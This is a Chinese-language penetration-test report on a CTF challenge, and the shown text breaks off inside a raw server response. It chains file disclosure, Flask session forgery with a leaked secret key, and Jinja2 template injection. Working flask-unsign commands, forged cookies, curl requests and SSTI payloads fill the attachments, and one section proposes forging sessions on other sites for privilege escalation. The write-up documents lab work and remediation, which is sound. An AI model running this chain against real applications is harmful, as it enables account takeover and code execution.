2026年6月20日星期六

BAMBOO FOREST PEN TEST REPORT --- SSTI

 

SSTI

 

內容

SSTI. 1

1      摘要... 2

2      目的和範圍... 2

3      測試方法和流程... 4

4      發現的漏洞和風險評估... 4

5      修復建議和策略... 6

6      結論... 6

7      附件和參考資料... 9

 

 


 

1  摘要

本次滲透測試的標的─「SSTI 縫合/組合型題目」取材自從01CTFer成長之路題目,目標是要拿到flag.txt(機敏資訊)

這是一題非常標準且進階的SSTI,雖然一開始在 /article 測試 {4*2} 時發現它只是純檔案讀取(LFI),但這正是精妙的關卡設計。在 CTF 或實際的滲透測試中,這種題目被稱為組合拳(Vulnerability Chaining)。

這題的本質依然是 SSTI,只是作者幫它加上了幾道防線:

第一階段(入口點):LFI(任意檔案讀取):你必須先利用路徑穿越漏洞去讀取 server.py key.py

第二階段(繞過防禦):Flask Session 偽造:真正的 SSTI 洞口開在 /n1page,但後端對 ._{} 做了嚴格的字串替換過濾。如果直接從前端輸入 PayloadSSTI 是絕對無法觸發的。因此,你必須利用第一階段偷到的 SECRET_KEY 在本地偽造 Cookie,利用 Session 反序列化(或賦值)的特性,將 Payload 繞過過濾器直接「空降」到後端變數中。

第三階段(核心漏洞):SSTI(伺服器端模板注入):當後端執行 render_template_string(template) 渲染包含你偽造的 Session 內容時,SSTI 漏洞才真正被觸發,並最終轉化為 RCE(遠端指令執行)讓你拿到 Flag

所以這不是單純的教科書式 SSTI,而是「以 LFI 為跳板、利用 Session 偽造繞過黑名單,最終觸發 SSTI」的經典高階變形題。

2  目的和範圍

本次滲透測試的目的,在於重點說明本公司的滲透測試服務,透過完整的報告格式來呈現,使本公司的潛在客戶可以對齊自己的需求,未來可以做為委託本公司進行滲透測試的基準。

筆記標題

說明SSTI服務端模版注入

知識描述

在滲透測試中,「白箱(看得到原始碼)」通常比「黑箱(純盲猜)」能更精準、更快速地找到核心漏洞與機密資料

原理思考

傳統的SSTI漏洞,只要從參數注入,就可以讀取敏感資訊。然而本次的靶機環境,預設過濾了敏感關鍵字。但server.py使用了純粹的字串格式化拼接,使我們拿到原始碼後能夠精準銷定flag.py,並且利用session偽造的方式觸發SSTI漏洞,再進行遠端指令執行。

server.py 中,處理 /n1page 的程式碼關鍵在於這一行:

Python

1.     template = '''<h1>N1 Page</h1>

2.     Hello : %s, why you don't look at our...

3.     ...''' % session['n1code']

這裡使用的是 Python 的老式字串格式化操作符 %s

  • 如果正常狀況下,你的 session['n1code'] 裡面存的是名字 Hongqi,那拼接後的 template 字串就是: "<h1>N1 Page</h1>... Hello : Hongqi, why you don't look..."
  • 但在攻擊狀況下,你繞過前端,直接在 Session 塞入了惡意的 SSTI 字串 {{[].__class__...}}。此時 Python %s 不管三七二十一,直接把這串惡意代碼當成普通字串拼進了 template 變數裡。

這時候,template 這個變數在記憶體裡的實際內容就變成了:

HTML

1.     <h1>N1 Page</h1>

2.     <div class="row">

3.         <div class="col-md-6 col-md-offset-3 center">

4.             Hello : {{[].__class__.__base__.__subclasses__()[59]...}}, why you don't look at our...

5.         </div>

6.     </div>

聯想思考

以往我們打靶機時,都是打flag.txt,但是這個靶機是放在flag.py裡面,我們需要改變思路

應用思考

payload包成session,這種Session 偽造攻擊 (Session Forgery)當攻擊者拿到了後端加密或簽名用的密鑰(例如這題的 SECRET_KEY),在自己本地端依照後端的演算法(如 Flask itsdangerous 機制)重新打包、簽名並生成一個惡意的 Session 字串,這種行為就叫做 Session 偽造。

經驗聯想

這題戲劇性的轉折是拿到系統安裝的資訊,滲透測試比的是從蛛絲馬跡中找線索的能力。本來我們一直卡在程式的邏輯,又因為SSTI漏洞比較隱密,所以不得其門而入,一但知道是n1book的架構,就有網路資源或AI可以提供思路了。

1.     docker-compose.yml

2.     version: '3.2'

3.     services:

4.     web:

5.     image: registry.cn-hangzhou.aliyuncs.com/n1book/web-file-read-3:latest

6.     ports:

7.     - 5000:5000

8.     啟動方式

9.     docker-compose up -d

 

指導行動

針對這一次測試,我想再多收集原始程式碼,在本地端重建環境,尤其是看懂程式邏輯,不僅是靠AI來解讀,而是手動產生有意義的攻擊指令。

工具衍生

在這次測試中,我們使用了flask-unsign這個工具,搭配從secret.py中取得的密鑰,成功偽造session。這個技術未來可以嘗試用於需要登入或session的網站。

這種技術的前提是「攻擊者已經透過其他漏洞(如 LFI、日誌洩漏、配置錯誤)掌握了伺服器後端的硬編碼密鑰(Hardcoded Secret Key)」。

我們可以用在權限提升與身份偽造 (Privilege Escalation)

當網站使用 Flask 預設的 Client-side Session(將加密或簽名的狀態存在瀏覽器 Cookie 中)時,一旦密鑰外洩,Session 內的任何欄位都可以被任意篡改。

測試用途:驗證系統在不安全的 Session 設計下,是否會被直接接管身份。

具體情境:

普通用戶變管理員:如果解密後的 Session 包含 {"is_admin": false, "role": "user"},可以將其偽造為 {"is_admin": true, "role": "admin"},繞過登入頁面直接進入後台管理介面。

越權存取(IDOR):將 {"user_id": 1002} 修改為 {"user_id": 1001}(例如目標高階主管或管理員的 ID),在不觸發密碼驗證的情況下橫向移動至其他用戶的帳戶。

3  測試方法和流程

測試方法:

一、   掃描工具:Chrome瀏覽器平台、Kali攻擊機、Gemini AI

二、   規範:WSTG-INPV-18 [1] Testing for Code Injection

OWASP Web Security Testing Guide (WSTG) 是全球資安圈公認最權威的 Web 安全測試藍圖。它不只講理論,而是為滲透測試員提供了一套「標準化動作」,詳細列出針對 Web 應用程式、API 及服務應執行的測試項目。本次滲透測試的反序列化,屬於伺服器端模版注入的一環。

三、   檢查項目:

I.   識別模板注入漏洞。

II. 識別模板引擎。

III.     建立遠端程式碼執行漏洞利用程式

時程表:

一、   掃描、滲透時間:2026/6/13 0900-1800

二、   報告撰寫時間:2026/6/20-2026/6/27 09:00-1800

4  發現的漏洞和風險評估

一、 漏洞名稱和描述:SSTI漏洞,可以遠端執行任意程式

二、 漏洞種類:輸入驗證漏洞

三、 嚴重性評分(CVSS 評分系統):7.0 to 10(滿分10分)

四、 影響的系統或元件:影響LinuxWindows跨平台作業系統

五、 測試過程中的過程:

1.   洞察本質:一開始透過 {4*2} 沒被解析,果斷判定這不是 SSTI 而是 LFI(本地檔案包含)漏洞。

2.   靈活繞過:發現 LFI 對關鍵字 flag 進行了過濾,轉而讀取系統環境變數 /proc/self/environ 拿到致命線索。

3.   代碼審計:精準定位並抓出 server.py 的原始碼,分析出其包含 Flask Session 的加密金鑰,並發現真正的 SSTI 隱藏在 /n1page

4.   Session 偽造:在本地使用 flask-unsign 工具,配合拿到的密鑰,將原本會被前端過濾的 ., _, {, } 等字元直接封裝進加密的 Session 內,成功繞過檢查。

5.   最終一擊:利用 Python 2.7 類別鏈的 RCE Payload 成功執行系統指令讀取檔案。

六、 潛在的風險和影響:

CVE-2024-29686 (Winter CMS 模板注入):允許遠端攻擊者透過精心設計的 Payload 執行任意程式碼。

CVE-2022-22954 (VMware Workspace ONE)CVSS 評分高達 9.8,屬於嚴重等級,起因於伺服器端模板注入,並導致遠端程式碼執行 (RCE)。。

5  修復建議和策略

一、 密鑰安全管理:絕對不要將 SECRET_KEY 硬編碼在程式碼中。應使用環境變數或專用的金鑰管理系統(如 AWS Secrets ManagerHashiCorp Vault)在運行時動態載入。

二、 採用 Server-side Session:在敏感系統中,建議將 Session 的詳細資料儲存在後端的資料庫(如 RedisMySQL)中,瀏覽器端的 Cookie 僅存放一串隨機的 Session IDUUID)。如此一來,即使密鑰被猜到,攻擊者也無法在本地偽造出資料庫中不存在的 Session ID

三、 變數零信任原則:無論資料是來自 request.form 還是 session[],只要是會被渲染(如 render_template_string)或進入資料庫(SQL)的變數,一律視為「不可信輸入」,必須使用安全的參數化方法處理。

 

6  結論

總結本次滲透測試的過程和結果,最重要的發現和建議的二點,第一點是在滲透測試領域裡,對目標系統的了解很重要,尤其是在SAAS的年代,雲端、GITHUB上面有著大量的資源,可以有助於我們了解目標系統,一但目標系統被揭露,AI就有機會找到漏洞。

第二點是,AI輔助的攻擊,常常會進入死胡同,比方堅持某種解法。做為滲透測試專家,我們必須要找資料,找新思路,尤其是像本次目標的SSTI,有各種不同的框架,框架會影響漏洞的形成。

SSTI大多是何種網站/系統?

這次滲透測試的本質是 SSTI,只是網站加上了幾道防線:

1.     第一階段(入口點):LFI(任意檔案讀取) 你必須先利用路徑穿越漏洞去讀取 server.py key.py

2.     第二階段(繞過防禦):Flask Session 偽造 真正的 SSTI 洞口開在 /n1page,但後端對 ._{} 做了嚴格的字串替換過濾。如果直接從前端輸入 PayloadSSTI 是絕對無法觸發的。因此,你必須利用第一階段偷到的 SECRET_KEY 在本地偽造 Cookie利用 Session 反序列化(或賦值)的特性,將 Payload 繞過過濾器直接「空降」到後端變數中

3.     第三階段(核心漏洞):SSTI(伺服器端模板注入) 當後端執行 render_template_string(template) 渲染包含你偽造的 Session 內容時,SSTI 漏洞才真正被觸發,並最終轉化為 RCE(遠端指令執行)讓你拿到 Flag

7  附件和參考資料

Step1. 關鍵的service.py原始碼如附

1.     #!/usr/bin/python

2.     # -*- coding: utf-8 -*-

3.      

4.     import os

5.     from flask import (

6.         Flask,

7.         render_template,

8.         request,

9.         url_for,

10.      redirect,

11.      session,

12.      render_template_string

13.  )

14.  from flask_session import Session

15.   

16.  app = Flask(__name__)

17.   

18.  # 載入同目錄下的 flag.py key.py

19.  execfile('flag.py')

20.  execfile('key.py')

21.   

22.  FLAG = flag

23.  app.secret_key = key

24.   

25.  # 漏洞點 2:隱藏的 SSTI 路由(帶有嚴格的關鍵字過濾)

26.  @app.route("/n1page", methods=["GET", "POST"])

27.  def n1page():

28.      if request.method != "POST":

29.          return redirect(url_for("index"))

30.      

31.      n1code = request.form.get("n1code") or None

32.      

33.      # 前端關鍵字過濾:將點、底線、大括號全部吃掉

34.      if n1code is not None:

35.          n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")

36.      

37.      # 如果 Session 裡沒有 n1code,才把過濾後的 n1code 放進去

38.      if "n1code" not in session or session['n1code'] is None:

39.          session['n1code'] = n1code

40.          

41.      template = None

42.      

43.      # 真正的 SSTI 觸發點:直接將 Session 內容拼接進模板字串中渲染

44.      if session['n1code'] is not None:

45.          template = '''<h1>N1 Page</h1>

46.  <div class="row">

47.      <div class="col-md-6 col-md-offset-3 center">

48.          Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>?

49.      </div>

50.  </div>

51.  ''' % session['n1code']

52.          

53.          session['n1code'] = None # 渲染後清空

54.          

55.      return render_template_string(template)

56.   

57.  # 首頁路由

58.  @app.route("/", methods=["GET"])

59.  def index():

60.      return render_template("main.html")

61.   

62.  # 漏洞點 1:入口處的 LFI(本地檔案包含)

63.  @app.route('/article', methods=['GET'])

64.  def article():

65.      error = 0

66.      if 'name' in request.args:

67.          page = request.args.get('name')

68.      else:

69.          page = 'article'

70.          

71.      # 關鍵字過濾:只要匹配到 'flag' 就強制跳轉到錯誤提示檔

72.      if page.find('flag') >= 0:

73.          page = 'notallowed.txt'

74.          

75.      try:

76.          # 檔案讀取點

77.          template = open('/home/nu11111111l/articles/{}'.format(page)).read()

78.      except Exception as e:

79.          template = e

80.          

81.      return render_template('article.html', template=template)

82.   

83.  if __name__ == "__main__":

84.      app.run(host='0.0.0.0', port=80, debug=False)

Step2.安裝flask-unsign和取得密鑰[2]後,觸發SSTI漏洞取得flag

其實既然都拿到任意檔案讀取了,我們大機率可以直接利用 LFI 去讀 flag.py。雖然直接讀 flag 會被擋,但檔名是 flag.py,裡面包含 flag 依然會被擋。 不過,因為密鑰可以讓我們觸發 /n1page SSTI,所以我們只要有了 Key,就能透過 SSTI 執行任意命令來讀取 Flag

請先幫我執行第一步:去讀取 ../../../../home/sssssserver/key.py,看看密鑰是什麼?

Article Content:

#!/usr/bin/python key = 'Drmhze6EPcv0fN_81Bj-nA'

 

┌──(kalikali)-[~]

└─$ pip3 install flask-unsign

Defaulting to user installation because normal site-packages is not writeable

Collecting flask-unsign

  Downloading flask_unsign-1.2.1-py3-none-any.whl.metadata (6.9 kB)

Requirement already satisfied: flask in /usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)

Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from flask-unsign) (2.31.0)

Requirement already satisfied: itsdangerous in /usr/lib/python3/dist-packages (from flask-unsign) (2.1.2)

Requirement already satisfied: markupsafe in /usr/lib/python3/dist-packages (from flask-unsign) (2.1.5)

Requirement already satisfied: werkzeug in /usr/lib/python3/dist-packages (from flask-unsign) (3.0.3)

Requirement already satisfied: Jinja2>=3.1.2 in /usr/lib/python3/dist-packages (from flask->flask-unsign) (3.1.3)

Requirement already satisfied: click>=8.1.3 in /usr/lib/python3/dist-packages (from flask->flask-unsign) (8.1.7)

Requirement already satisfied: blinker>=1.6.2 in /usr/lib/python3/dist-packages (from flask->flask-unsign) (1.8.2)

Downloading flask_unsign-1.2.1-py3-none-any.whl (14 kB)

Installing collected packages: flask-unsign

  WARNING: The script flask-unsign is installed in '/home/kali/.local/bin' which is not on PATH.

  Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.

Successfully installed flask-unsign-1.2.1

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ flask-unsign --decode --cookie "eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"

flask-unsign: command not found

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --decode --cookie "eyJuMWNvZGUiOm51bGx9.ai0KCA.MekwClzTI5uopvFBItE8PIIwX6w"

{'n1code': None}

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie "{'n1code': '{{config.items()}}'}" --secret 'Drmhze6EPcv0fN_81Bj-nA'

eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ curl -X POST http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \

  -d "n1code=test" \

  -H "Cookie: session=eyJuMWNvZGUiOiJ7e2NvbmZpZy5pdGVtcygpfX0ifQ.ai0M3w.kSKfIa2noX86Fr5_yw8sMzpE3NQ"

<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : [(&#39;JSON_AS_ASCII&#39;, True), (&#39;USE_X_SENDFILE&#39;, False), (&#39;SESSION_COOKIE_SECURE&#39;, False), (&#39;SESSION_COOKIE_PATH&#39;, None), (&#39;SESSION_COOKIE_DOMAIN&#39;, False), (&#39;SESSION_COOKIE_NAME&#39;, &#39;session&#39;), (&#39;MAX_COOKIE_SIZE&#39;, 4093), (&#39;SESSION_COOKIE_SAMESITE&#39;, None), (&#39;PROPAGATE_EXCEPTIONS&#39;, None), (&#39;ENV&#39;, &#39;production&#39;), (&#39;DEBUG&#39;, False), (&#39;SECRET_KEY&#39;, &#39;Drmhze6EPcv0fN_81Bj-nA&#39;), (&#39;EXPLAIN_TEMPLATE_LOADING&#39;, False), (&#39;MAX_CONTENT_LENGTH&#39;, None), (&#39;APPLICATION_ROOT&#39;, &#39;/&#39;), (&#39;SERVER_NAME&#39;, None), (&#39;PREFERRED_URL_SCHEME&#39;, &#39;http&#39;), (&#39;JSONIFY_PRETTYPRINT_REGULAR&#39;, False), (&#39;TESTING&#39;, False), (&#39;PERMANENT_SESSION_LIFETIME&#39;, datetime.timedelta(31)), (&#39;TEMPLATES_AUTO_RELOAD&#39;, None), (&#39;TRAP_BAD_REQUEST_ERRORS&#39;, None), (&#39;JSON_SORT_KEYS&#39;, True), (&#39;JSONIFY_MIMETYPE&#39;, &#39;application/json&#39;), (&#39;SESSION_COOKIE_HTTPONLY&#39;, True), (&#39;SEND_FILE_MAX_AGE_DEFAULT&#39;, datetime.timedelta(0, 43200)), (&#39;PRESERVE_CONTEXT_ON_EXCEPTION&#39;, None), (&#39;SESSION_REFRESH_EACH_REQUEST&#39;, True), (&#39;TRAP_HTTP_EXCEPTIONS&#39;, False)], why you don't look at our <a href='/article?name=article'>article</a>? </div> </div>                                                                                                                                                                                                          

┌──(kalikali)-[~]

└─$ /home/kali/.local/bin/flask-unsign --sign --cookie "{'n1code': '{{lipsum.__globals__}}'}" --secret 'Drmhze6EPcv0fN_81Bj-nA'

eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k

                                                                                                                                                                                                        

┌──(kalikali)-[~]

└─$ curl -X POST http://challenge-76e5da0fc378806b.sandbox.ctfhub.com:10800/n1page \

  -d "n1code=test" \

  -H "Cookie: session=eyJuMWNvZGUiOiJ7e2xpcHN1bS5fX2dsb2JhbHNfX319In0.ai0NiA.g5ORV9M5_2gR6nfDYboFqWi0w6k"

<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : {&#39;_word_split_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5ea8dc240&gt;, &#39;_entity_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5ea8dec30&gt;, &#39;randrange&#39;: &lt;bound method Random.randrange of &lt;random.Random object at 0x55743b761640&gt;&gt;, &#39;Namespace&#39;: &lt;class &#39;jinja2.utils.Namespace&#39;&gt;, &#39;evalcontextfunction&#39;: &lt;function evalcontextfunction at 0x7fa5ea7d7ad0&gt;, &#39;escape&#39;: &lt;function escape at 0x7fa5eadc3450&gt;, &#39;consume&#39;: &lt;function consume at 0x7fa5ea7db1d0&gt;, &#39;htmlsafe_json_dumps&#39;: &lt;function htmlsafe_json_dumps at 0x7fa5ea7f50d0&gt;, &#39;abc&#39;: &lt;module &#39;collections&#39; from &#39;/usr/local/lib/python2.7/collections.pyc&#39;&gt;, &#39;_digits&#39;: &#39;0123456789&#39;, &#39;urlize&#39;: &lt;function urlize at 0x7fa5ea7ee250&gt;, &#39;_simple_email_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5eadb7cb0&gt;, &#39;url_quote&#39;: &lt;function quote at 0x7fa5ea8f0d50&gt;, &#39;_punctuation_re&#39;: &lt;_sre.SRE_Pattern object at 0x7fa5ea7f1200&gt;, &#39;__package__&#39;: &#39;jinja2&#39;, &#39;re&#39;: &lt;module &#39;re&#39; from &#39;/usr/local/lib/python2.7/re.pyc&#39;&gt;, &#39;json&#39;: &lt;module &#39;json&#39; from &#39;/usr/local/lib/python2.7/json/__init__.pyc&#39;&gt;, &#39;LRUCache&#39;: &lt;class &#39;jinja2.utils.LRUCache&#39;&gt;, &#39;Markup&#39;: &lt;class &#39;markupsafe.Markup&#39;&gt;, &#39;deque&#39;: &lt;type &#39;collections.deque&#39;&gt;, &#39;open_if_exists&#39;: &lt;function open_if_exists at 0x7fa5ea7e3a50&gt;, &#39;environmentfunction&#39;: &lt;function environmentfunction at 0x7fa5ea7d7dd0&gt;, &#39;warnings&#39;: &lt;module &#39;warnings&#39; from &#39;/usr/local/lib/python2.7/warnings.pyc&#39;&gt;, &#39;__builtins__&#39;: {&#39;bytearray&#39;: &lt;type &#39;bytearray&#39;&gt;, &#39;IndexError&#39;: &lt;type &#39;exceptions.IndexError&#39;&gt;, &#39;all&#39;: &lt;built-in function all&gt;, &#39;help&#39;: Type help() for interactive help, or help(object) for help about object., &#39;vars&#39;: &lt;built-in function vars&gt;, &#39;SyntaxError&#39;: &lt;type &#39;exceptions.SyntaxError&#39;&gt;, &#39;unicode&#39;: &lt;type &#39;unicode&#39;&gt;, &#39;UnicodeDecodeError&#39;: &lt;type &#39;exceptions.UnicodeDecodeError&#39;&gt;, &#39;memoryview&#39;: &lt;type &#39;memoryview&#39;&gt;, &#39;isinstance&#39;: &lt;built-in function isinstance&gt;, &#39;copyright&#39;: Copyright (c) 2001-2019 Python Software Foundation.

All Rights Reserved.

 

Copyright (c) 2000 BeOpen.com.

All Rights Reserved.

 

Copyright (c) 1995-2001 Corporation for National Research Initiatives.

All Rights Reserved.

 

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.

All Rights Reserved., &#39;NameError&#39;: &lt;type &#39;exceptions.NameError&#39;&gt;, &#39;BytesWarning&#39;: &lt;type &#39;exceptions.BytesWarning&#39;&gt;, &#39;dict&#39;: &lt;type &#39;dict&#39;&gt;, &#39;input&#39;: &lt;built-in function input&gt;, &#39;oct&#39;: &lt;built-in function oct&gt;, &#39;bin&#39;: &lt;built-in function bin&gt;, &#39;SystemExit&#39;: &lt;type &#39;exceptions.SystemExit&#39;&gt;, &#39;StandardError&#39;: &lt;type &#39;exceptions.StandardError&#39;&gt;, &#39;format&#39;: &lt;built-in function format&gt;, &#39;repr&#39;: &lt;built-in function repr&gt;, &#39;sorted&#39;: &lt;built-in function sorted&gt;, &#39;False&#39;: False, &#39;RuntimeWarning&#39;: &lt;type &#39;exceptions.RuntimeWarning&#39;&gt;, &#39;list&#39;: &lt;type &#39;list&#39;&gt;, &#39;iter&#39;: &lt;built-in function iter&gt;, &#39;reload&#39;: &lt;built-in function reload&gt;, &#39;Warning&#39;: &lt;type &#39;exceptions.Warning&#39;&gt;, &#39;__package__&#39;: None, &#39;round&#39;: &lt;built-in function round&gt;, &#39;dir&#39;: &lt;built-in function dir&gt;, &#39;cmp&#39;: &lt;built-in function cmp&gt;, &#39;set&#39;: &lt;type &#39;set&#39;&gt;, &#39;bytes&#39;: &lt;type &#39;str&#39;&gt;, &#39;reduce&#39;: &lt;built-in function reduce&gt;, &#39;intern&#39;: &lt;built-in function intern&gt;, &#39;issubclass&#39;: &lt;built-in function issubclass&gt;, &#39;Ellipsis&#39;: Ellipsis, &#39;EOFError&#39;: &lt;type &#39;exceptions.EOFError&#39;&gt;, &#39;locals&#39;: &lt;built-in function locals&gt;, &#39;BufferError&#39;: &lt;type &#39;exceptions.BufferError&#39;&gt;, &#39;slice&#39;: &lt;type &#39;slice&#39;&gt;, &#39;FloatingPointError&#39;: &lt;type &#39;exceptions.FloatingPointError&#39;&gt;, &#39;sum&#39;: &lt;built-in function sum&gt;, &#39;getattr&#39;: &lt;built-in function getattr&gt;, &#39;abs&#39;: &lt;built-in function abs&gt;, &#39;exit&#39;: Use exit() or Ctrl-D (i.e. EOF) to exit, &#39;print&#39;: &lt;built-in function print&gt;, &#39;True&#39;: True, &#39;FutureWarning&#39;: &lt;type &#39;exceptions.FutureWarning&#39;&gt;, &#39;ImportWarning&#39;: &lt;type &#39;exceptions.ImportWarning&#39;&gt;, &#39;None&#39;: None, &#39;hash&#39;: &lt;built-in function hash&gt;, &#39;ReferenceError&#39;: &lt;type &#39;exceptions.ReferenceError&#39;&gt;, &#39;len&#39;: &lt;built-in function len&gt;, &#39;credits&#39;:     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands

    for supporting Python development.  See www.python.org for more information., &#39;frozenset&#39;: &lt;type &#39;frozenset&#39;&gt;, &#39;__name__&#39;: &#39;__builtin__&#39;, &#39;ord&#39;: &lt;built-in function ord&gt;, &#39;super&#39;: &lt;type &#39;super&#39;&gt;, &#39;TypeError&#39;: &lt;type &#39;exceptions.TypeError&#39;&gt;, &#39;license&#39;: Type license() to see the full license text, &#39;KeyboardInterrupt&#39;: &lt;type &#39;exceptions.KeyboardInterrupt&#39;&gt;, &#39;UserWarning&#39;: &lt;type &#39;exceptions.UserWarning&#39;&gt;, &#39;filter&#39;: &lt;built-in function filter&gt;, &#39;range&#39;: &lt;built-in function range&gt;, &#39;staticmethod&#39;: &lt;type &#39;staticmethod&#39;&gt;, &#39;SystemError&#39;: &lt;type &#39;exceptions.SystemError&#39;&gt;, &#39;BaseException&#39;: &lt;type &#39;exceptions.BaseException&#39;&gt;, &#39;pow&#39;: &lt;built-in function pow&gt;, &#39;RuntimeError&#39;: &lt;type &#39;exceptions.RuntimeError&#39;&gt;, &#39;float&#39;: &lt;type &#39;float&#39;&gt;, &#39;MemoryError&#39;: &lt;type &#39;exceptions.MemoryError&#39;&gt;, &#39;StopIteration&#39;: &lt;type &#39;exceptions.StopIteration&#39;&gt;, &#39;globals&#39;: &lt;built-in function globals&gt;, &#39;divmod&#39;: &lt;built-in function divmod&gt;, &#39;enumerate&#39;: &lt;type &#39;enumerate&#39;&gt;, &#39;apply&#39;: &lt;built-in function apply&gt;, &#39;LookupError&#39;: &lt;type &#39;exceptions.LookupError&#39;&gt;, &#39;open&#39;: &lt;built-in function open&gt;, &#39;quit&#39;: Use quit() or Ctrl-D (i.e. EOF) to exit, &#39;basestring&#39;: &lt;type &#39;basestring&#39;&gt;, &#39;UnicodeError&#39;: &lt;type &#39;exceptions.UnicodeError&#39;&gt;, &#39;zip&#39;: &lt;built-in function zip&gt;, &#39;hex&#39;: &lt;built-in function hex&gt;, &#39;long&#39;: &lt;type &#39;long&#39;&gt;, &#39;next&#39;: &lt;built-in function next&gt;, &#39;ImportError&#39;: &lt;type &#39;exceptions.ImportError&#39;&gt;, &#39;chr&#39;: &lt;built-in function chr&gt;, &#39;xrange&#39;: &lt;type &#39;xrange&#39;&gt;, &#39;type&#39;: &lt;type &#39;type&#39;&gt;, &#39;__doc__&#39;: &#34;Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil&#39; object; Ellipsis represents `...&#39; in slices.&#34;, &#39;Exception&#39;: &lt;type &#39;exceptions.Exception&#39;&gt;, &#39;tuple&#39;: &lt;type &#39;tuple&#39;&gt;, &#39;UnicodeTranslateError&#39;: &lt;type &#39;exceptions.UnicodeTranslateError&#39;&gt;, &#39;reversed&#39;: &lt;type &#39;reversed&#39;&gt;, &#39;UnicodeEncodeError&#39;: &lt;type &#39;exceptions.UnicodeEncodeError&#39;&gt;, &#39;IOError&#39;: &lt;type &#39;exceptions.IOError&#39;&gt;, &#39;hasattr&#39;: &lt;built-in function hasattr&gt;, &#39;delattr&#39;: &lt;built-in function delattr&gt;, &#39;setattr&#39;: &lt;built-in function setattr&gt;, &#39;raw_input&#39;: &lt;built-in function raw_input&gt;, &#39;SyntaxWarning&#39;: &lt;type &#39;exceptions.SyntaxWarning&#39;&gt;, &#39;compile&#39;: &lt;built-in function compile&gt;, &#39;ArithmeticError&#39;: &lt;type &#39;exceptions.ArithmeticError&#39;&gt;, &#39;str&#39;: &lt;type &#39;str&#39;&gt;, &#39;property&#39;: &lt;type &#39;property&#39;&gt;, &#39;GeneratorExit&#39;: &lt;type &#39;exceptions.GeneratorExit&#39;&gt;, &#39;int&#39;: &lt;type &#39;int&#39;&gt;, &#39;__import__&#39;: &lt;built-in function __import__&gt;, &#39;KeyError&#39;: &lt;type &#39;exceptions.KeyError&#39;&gt;, &#39;coerce&#39;: &lt;built-in function coerce&gt;, &#39;PendingDeprecationWarning&#39;: &lt;type &#39;exceptions.PendingDeprecationWarning&#39;&gt;, &#39;file&#39;: &lt;type &#39;file&#39;&gt;, &#39;EnvironmentError&#39;: &lt;type &#39;exceptions.EnvironmentError&#39;&gt;, &#39;unichr&#39;: &lt;built-in function unichr&gt;, &#39;id&#39;: &lt;built-in function id&gt;, &#39;OSError&#39;: &lt;type &#39;exceptions.OSError&#39;&gt;, &#39;DeprecationWarning&#39;: &lt;type &#39;exceptions.DeprecationWarning&#39;&gt;, &#39;min&#39;: &lt;built-in function min&gt;, &#39;UnicodeWarning&#39;: &lt;type &#39;exceptions.UnicodeWarning&#39;&gt;, &#39;execfile&#39;: &lt;built-in function execfile&gt;, &#39;any&#39;: &lt;built-in function any&gt;, &#39;complex&#39;: &lt;type &#39;complex&#39;&gt;, &#39;bool&#39;: &lt;type &#39;bool&#39;&gt;, &#39;ValueError&#39;: &lt;type &#39;exceptions.ValueError&#39;&gt;, &#39;NotImplemented&#39;: NotImplemented, &#39;map&#39;: &lt;built-in function map&gt;, &#39;buffer&#39;: &lt;type &#39;buffer&#39;&gt;, &#39;max&#39;: &lt;built-in function max&gt;, &#39;object&#39;: &lt;type &#39;object&#39;&gt;, &#39;TabError&#39;: &lt;type &#39;exceptions.TabError&#39;&gt;, &#39;callable&#39;: &lt;built-in function callable&gt;, &#39;ZeroDivisionError&#39;: &lt;type &#39;exceptions.ZeroDivisionError&#39;&gt;, &#39;eval&#39;: &lt;built-in function eval&gt;, &#39;__debug__&#39;: True, &#39;IndentationError&#39;: &lt;type &#39;exceptions.IndentationError&#39;&gt;, &#39;AssertionError&#39;: &lt;type &#39;exceptions.AssertionError&#39;&gt;, &#39;classmethod&#39;: &lt;type &#39;classmethod&#39;&gt;, &#39;UnboundLocalError&#39;: &lt;type &#39;exceptions.UnboundLocalError&#39;&gt;, &#39;NotImplementedError&#39;: &lt;type &#39;exceptions.NotImplementedError&#39;&gt;, &#39;AttributeError&#39;: &lt;type &#39;exceptions.AttributeError&#39;&gt;, &#39;OverflowError&#39;: &lt;type &#39;exceptions.OverflowError&#39;&gt;}, &#39;text_type&#39;: &lt;type &#39;unicode&#39;&gt;, &#39;__file__&#39;: &#39;/usr/local/lib/python2.7/site-packages/jinja2/utils.pyc&#39;, &#39;have_async_gen&#39;: False, &#39;_letters&#39;: &#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ&#39;, &#39;choice&#39;: &lt;bound method Random.choice of &lt;random.Random object at 0x55743b761640&gt;&gt;, &#39;unicode_urlencode&#39;: &lt;function unicode_urlencode at 0x7fa5ea7ee350&gt;, &#39;__name__&#39;: &#39;jinja2.utils&#39;, &#39;Cycler&#39;: &lt;class &#39;jinja2.utils.Cycler&#39;&gt;, &#39;Joiner&#39;: &lt;class &#39;jinja2.utils.Joiner&#39;&gt;, &#39;soft_unicode&#39;: &lt;function soft_unicode at 0x7fa5ea7f5750&gt;, &#39;concat&#39;: &lt;built-in method join of unicode 